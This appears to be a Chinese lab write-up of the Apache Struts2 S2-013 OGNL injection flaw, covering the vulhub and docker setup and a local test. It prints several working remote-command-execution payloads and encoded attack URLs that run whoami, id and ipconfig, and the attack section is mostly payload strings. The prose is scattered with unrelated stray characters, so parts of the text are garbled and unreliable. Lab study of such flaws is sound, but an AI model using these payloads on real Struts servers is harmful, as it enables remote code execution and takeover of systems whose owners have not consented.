S2-013
此文僅供大家交流學(xué)習(xí),嚴(yán)禁非法使用
一小作、參考網(wǎng)址:
https://github.com/phith0n/vulhub/tree/master/struts2/s2-013
二、 影響版本:
http://struts.apache.org/docs/s2-013.html
三稼钩、 漏洞介紹:
- 在Struts Blank應(yīng)用程序中打開HelloWorld.jsp顾稀,并將以下參數(shù)添加到url / a標(biāo)簽之一:
includeParams="all"
- 這樣一來,這條線將會(huì)是這樣的:
<s:url
id="url"
action="HelloWorld"
includeParams="all">
(它也適用于includeParams =“get”)坝撑。
運(yùn)行struts2-blank應(yīng)用程序
打開url:http:// localhost:8080 / example / HelloWorld.action静秆?fakeParam =%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'% 5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse()。getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D
(這是縮寫版http://goo.gl/lhlTl)你會(huì)注意到巡李,在這種情況下抚笔,沒有辦法逃避/清理fakeParam,因?yàn)樗皇且粋€(gè)預(yù)期的參數(shù)侨拦。
Struts2 標(biāo)簽中 <s:a> 和 <s:url> 都包含一個(gè) includeParams 屬性殊橙,其值可設(shè)置為 none,get 或 all狱从,參考官方其對應(yīng)意義如下:
none - 鏈接不包含請求的任意參數(shù)值(默認(rèn))
get - 鏈接只包含 GET 請求中的參數(shù)和其值
all - 鏈接包含 GET 和 POST 所有參數(shù)和其值
<s:a>用來顯示一個(gè)超鏈接膨蛮,當(dāng)includeParams=all的時(shí)候,會(huì)將本次請求的GET和POST參數(shù)都放在URL的GET參數(shù)上矫夯。在放置參數(shù)的過程中會(huì)將參數(shù)進(jìn)行OGNL渲染鸽疾,造成任意命令執(zhí)行漏洞。
四训貌、 環(huán)境搭建:
(windows)
環(huán)境搭建制肮,類似與一下安裝showcase,相同方法可以部署blank
- 下載/struts/2.1.6
下載地址:http://archive.apache.org/dist/struts/binaries/struts-2.1.6-apps.zip
下載安裝xampp
部署showcase
解壓
- 復(fù)制到.
- 重啟tomcat
- 已成功自動(dòng)部署
- 修改配置
在Struts Blank應(yīng)用程序中打開HelloWorld.jsp递沪,并將以下參數(shù)添加到url / a標(biāo)簽之一:
includeParams="all"
這樣一來豺鼻,這條線將會(huì)是這樣的:
<s:url id="url" action="HelloWorld" includeParams="all">
運(yùn)行struts2-blank應(yīng)用程序
環(huán)境搭建:(ubuntu)
curl -s https://bootstrap.pypa.io/get-pip.py | python3
安裝docker
apt-get update && apt-get install docker.io啟動(dòng)docker服務(wù)
service docker start安裝compose
pip install docker-compose
注意要先ssh連接,將公鑰添加到github上款慨,具體參照網(wǎng)上教程
拉取項(xiàng)目
git clone git@github.com:phith0n/vulhub.git
cd vulhub進(jìn)入某一個(gè)漏洞/環(huán)境的目錄
cd nginx_php5_mysql自動(dòng)化編譯環(huán)境
docker-compose build啟動(dòng)整個(gè)環(huán)境
docker-compose up -d
五儒飒、 POC:
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('whoami').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
// 或
${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
六、 測試網(wǎng)址:
原始網(wǎng)址為:
http:// 127.0.0.1:8080/struts2-blank-2.1.6/example/HelloWorld.action
更改后網(wǎng)址為:
http://127.0.0.1:8080/struts2-blank-2.1.6/example/HelloWorld.action?url=%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read%28%23d%29%2C%23out%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23out.println%28%23d%29%2C%23out.close%28%29%29%7D
七檩奠、執(zhí)行結(jié)果
八桩了、 發(fā)現(xiàn)問題并修改
存在問題是:執(zhí)行結(jié)果多行時(shí)可能無法輸出多行(windows),歹后續(xù)更改POC
后續(xù)POC
%24%7B(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ipconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%7D
彌補(bǔ)之前POC在windows中執(zhí)行命令結(jié)果多行埠戳,但只顯示第一行的問題井誉,比如ipconfig
執(zhí)行結(jié)果
注意,修改res大小來獲取需要的結(jié)果的大小
九整胃、 至此笔刹,該漏洞基本利用完畢
本人還是一個(gè)未畢業(yè)的小萌新淆九,希望大家多多幫助逞壁,有問題請發(fā)送郵件到xrzsupupup@163.com不勝感激,我也會(huì)盡量去幫助大家
堅(jiān)決做一名白帽子